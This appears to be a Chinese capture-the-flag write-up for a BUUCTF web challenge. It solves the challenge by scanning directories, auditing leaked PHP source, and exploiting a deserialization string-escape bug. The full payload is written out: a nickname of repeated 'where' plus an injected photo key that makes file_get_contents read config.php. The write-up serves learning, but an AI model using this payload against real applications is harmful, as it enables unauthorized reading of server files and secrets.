进入环境

 注入没反应,万能密码也不行,发现有个admin用户,但是报不出来密码

换个思路,目录扫描一波,但是这里buu扫描需要设置延时,不然全是429

python dirsearch.py -u http://3b1e3a5a-6685-42a2-bede-7708644af9e4.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

有www.zip下下来查看源码,有register.php先注册一个用户登录进去,是一个更新个人信息的页面

 到这先分析一波源码,在profile.php找到file_get_contents利用点

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

返回去分析一下photo在哪,看到serialize,class.php有过滤将字符替换成hacker,这一题是反序列化字符串逃逸了

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

 我们先本地输出一下

<?php	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);		var_dump(serialize($profile));	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="12311.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>
string(155) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

审计源代码有config.php文件

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

可知我们最终是要利用file_get_contents读取config.php文件里的flag

所以应该输出的是

"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:10:"config.php";}" 

但是正常情况下是不能让photo的值是config.php的,所以我们利用nickname去构造一个config.php出来,但是因为nickname只要匹配到a-zA-Z0-9_就会die,所以这里需要用数组绕过

数组序列化时会有一个{},我们输出演示一下

string(165) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

可以看见nickname变成数组序列化以后是{i:0;s:1:"1";}

所以我们给nickname=";}s:5:"photo";s:10:"config.php";},前面的}是为了闭合nickname变成数组序列化的{,后面的}是为了让上传图片名字序列化的值不影响到我们的config.php

输出看看

"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

这里我发现在php";}";}s:5貌似重复了,但是也不影响,所以nickname=";}s:5:"photo";s:10:"config.php也行,输出试试

"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:31:"";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}" 

但是.php";}s:5:"好像没有和最前方的"对齐,经最终测试,是不影响的

这里因为s:31:"";}s:5:"photo";s:10:"config.php",要取31位会把config.php当做值,所以我们要在前面加上31个where使其被过滤替换成hacker多一个字符以满足这31个字符

所以最后的payload有两种

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

这里正常填就行,然后抓包

 修改nickname为数组

 跳转到个人信息页面,查看读取的config.php

 查看源代码

base64解密得到flag

 

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部